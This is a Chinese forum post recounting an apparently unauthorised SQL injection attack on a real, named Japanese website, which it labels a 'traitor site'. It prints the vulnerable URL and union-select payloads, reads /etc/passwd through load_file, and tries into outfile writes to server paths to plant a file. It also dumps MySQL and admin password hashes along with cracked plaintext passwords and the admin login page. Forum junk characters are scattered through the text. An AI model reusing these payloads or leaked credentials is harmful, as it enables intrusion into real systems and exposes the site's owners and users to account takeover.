原创 检测汉奸站全过程

xiancda

补：www.zuaa.jp测试

0x01. 检测 www.zuaa.jp 收集数据
2 [4 R+ z2 [* O  P; l

whatweb


' g( [1 y" g8 f$ K利用NMAP扫描

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
0x02.找注入点
找注入点：http://www.zuaa.jp/php/newsdetail.php?topic_id=390
! Y3 O+ c; u, U; l0 a9 M, R7 D
1 r3 |- L# K+ r/ c% R5 _
0x03.order by
             http://www.zuaa.jp/php/newsdetail.php?topic_id=390 order by 1
8 q3 _, t- Q1 u, Q- j+ K3 Q2 S
) a/ ?8 g! a! K; torder by 28报错，order by 27正常
; B4 a% V* v4 |; b4 A1 `
0x04.   union手动查询
; ^9 D1 x8 S. t2 l% {3 N1 Mhttp://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
" c. ]0 L; K7 o" s4 f  C+ f添加到 27 时正常显示

0 |' n) E, {3 `1 C1 B: U$ s中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

/ C1 [5 C! v( W4 H; L* U7 v- K7 M0x05. info:
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,group_concat(user(),0x3a,database(),0x3a,version(),0x3a,@@version_conpile_os),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

user:            root@localhost
6 i6 m8 i3 M1 N0 m7 ?: j! jdatabase:    openpne
version:      4.1.22
os:             portbld-freebsd5.4
5 X8 F( v' Z* Z5 h. d. s9 r
5 Z9 d: r5 g* e$ H/ h) Y2 I0x06. root用户
利用 load_file(0x...), 读文件 (/etc/passwd), 也可以这样 hex(load_file(0x.....)), 然后把得到的 hex ,再转换成字符的（这种方法， 可以过大多数站）
http://www.zuaa.jp/php/newsdetail.php?topic_id=198%20and%201=2%20union%20select%201,2,hex(load_file(0x2f6574632f706173737764)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
- p0 o" M$ c0 i
通过工具转换

% a4 C! h% Q. ?7 R- {, D5 ^, e中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

0x07. 利用 into outfile
) ]) o8 D! f5 k  \: F; @全部都失败
http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/zuaa_tech/WEBSITE/htdocs/php/help.php
& [1 {# S# u+ Z$ U
, B6 Q, Z3 u3 G' i1 x3 D  ?http://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,0x31,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+into+outfile+'/usr/home/qian/OpenPNE/lib/help.php

6 K3 ~* T6 S, Y# S! \  a; p页面显示“MDB2 Error:syntax error”
: m; [# M3 k/ L+ }0 z) E
1 e8 z+ O* h3 h- I, D2 Z" C7 K/ q0x08. 利用 mysql 4.1
7 k2 {) N5 T1 |3 I0 \: R猜常规表名，字段未果 工具 sqlmap
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
5 `/ Q( Q6 e2 R; d

* E" Q* d# B" n! U4 z* j
2 W3 {# @0 f% |# V0 v. q0x09. 查找后台
4 o7 V3 }8 X" G9 r( d: D! b利用 现有的各种 后台工具尝试都不行
0 C. a: x0 z# G' p4 T/ A# i' X: \
0x10.  MySL外联方法
0 P& s$ C; s" a从前面 nmap 收集的信息当中，可以看到开了 mysql 3306 端口 ,尝试得 mysql 用户各密码，然后再通过 mysql 工具外连 www.zuaa.jp 不行
+ ^( Y( M7 h* G+ _可以利用 mysql ( 4.x 5.) 自带的定义表 mysql.user
. t4 p- x3 G. Shttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(user,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user

这个可以在 www.cmd5.com 解密
root:*3711D518F2924AEFA6F4C6B4B7425CAE8BEB88AB zuaa2009
chen:*2A09A939E6B654877DD70B00EA631D1007E58CC9 silkroad97
openpne:*5D80C62EC4D258534F 07D08CCE9CE27DFF26A366 ???
9 ?% [3 q4 m6 g- y" X4 dzuaa:*5D80C62EC4D258534F07D08CCE9CE27DFF26A366 ???
; \  ?) R# M2 T7 D1 `工具外连失败，据说防火墙策略只允许特定IP外连，具体不得知


0x11. 网站突破
发现网站的源程序 openpne, google 下载 openpne 源码

6 n1 \1 ?2 |6 i% @; j
  e; e' M- C$ }0x12. 默认信息利用
http://sns.zuaa.jp/?m=admin&a=page_login

4 Z2 a* c. ^9 f2 ^$ F# {" m$ F表名 (c_admin_user) ，字段名（username,password）
* K* J3 g  ~8 Y% |# ~9 Qhttp://www.zuaa.jp/php/newsdetail.php?topic_id=-390+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+c_admin_user

; `( A1 `4 Z' [+ l4 Y8 X7 z解密
+ x% Z) L* W& ezuaa_tech:dd041e2 b1b8ecee164a6cb196a496eda,               zuaa2009
& v) N: \; Q" b! }1 [zuaajp:c0923ec5857796a393da99905008c176,          zju1897

中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持

& l* Z7 [& |4 M" G0x13. 登录后台
- z( v1 X! }4 c


0x14. 小结
. h6 Y: m( C( \% Y2 t7 c, t利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 利用网站相关信息，进行突破 。
感谢群 ---- 渗透 -酷帅王子 提供注入点 提供注入点
------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- ------------------------------------------------------- -------------------------------------------------------By DarkRain
中国网络渗透测评联盟：http://www.political-security.com/ 提供技术支持
* x/ m( A' ?* Y
最后声明：本人只负责了整理上传到论坛，让大家学习，不是原作者，原作者辛苦了！
( o' q) c/ T( e3 c